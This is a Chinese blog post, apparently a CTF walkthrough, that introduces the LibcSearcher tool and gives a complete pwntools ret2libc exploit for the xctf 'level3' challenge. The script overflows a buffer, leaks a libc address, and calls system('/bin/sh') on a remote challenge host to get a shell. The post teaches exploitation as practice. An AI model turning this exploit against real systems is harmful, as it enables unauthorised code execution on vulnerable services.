LibcSearcher的使用及案例

0x00 前言

要什么libc?!要什么ret2dl?!

只要一个LibcSearcher就够了!!!

0x01 安装

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

0x02 示例

1
2
3
4
5
6
7
8
from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0x7ff39014bd90)

obj.dump("system") # system 偏移
obj.dump("str_bin_sh") # /bin/sh 偏移
obj.dump("__libc_start_main_ret")

0x03 案例

题目来源:xctf攻防世界

题目附件:http://my.aidmong.cn/blogfile/pwn/20190409/level3.zip

一题炒鸡简单的ret2libc,但是题目没有给出libc文件。我做题的时候本地能getshell,但是远程就不行了,估计是libc的版本问题。以前我遇到这种问题的时候,就只能求助于ret2dl的方式。昨天问了一位大佬,说可以用LibcSearcher。话不多说,上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p = process('./level3')
p = remote('111.198.29.45', 30700)
elf = ELF('./level3')
cnt = 140
vul_func = 0x0804844b

p.recv()
payload1 = 'a'*cnt + p32(elf.symbols['write']) + p32(vul_func)
payload1 += p32(1) + p32(elf.got['write']) + p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
log.success("write_addr: " + hex(write_addr))
obj = LibcSearcher('write', write_addr) # 输入write函数的实际地址
libc_base = write_addr - obj.dump('write') # 将write函数的实际地址与得到的偏移地址相差,得出libc的基地址
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + obj.dump('system') # 将libc的基地址与得到的system的偏移地址相加,得出system的实际地址
log.success("system_addr: " + hex(system_addr))
bin_addr = libc_base + obj.dump('str_bin_sh') # 将libc的基地址与得到的/bin/sh的偏移地址相加,得出/bin/sh的实际地址
log.success("bin_addr: " + hex(bin_addr))
payload2 = 'a'*cnt + p32(system_addr) + p32(vul_func) + p32(bin_addr)
p.sendline(payload2)

p.interactive()

0x04 参考文档

LibcSearcher下载及说明:https://github.com/lieanu/LibcSearcher

ret2dl技巧及脚本:http://wintersun.space/2018/08/19/return-to-dl-resolve/

×

亲,赏点嘛(づ ̄3 ̄)づ╭❤~

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 安装
  3. 3. 0x02 示例
  4. 4. 0x03 案例
  5. 5. 0x04 参考文档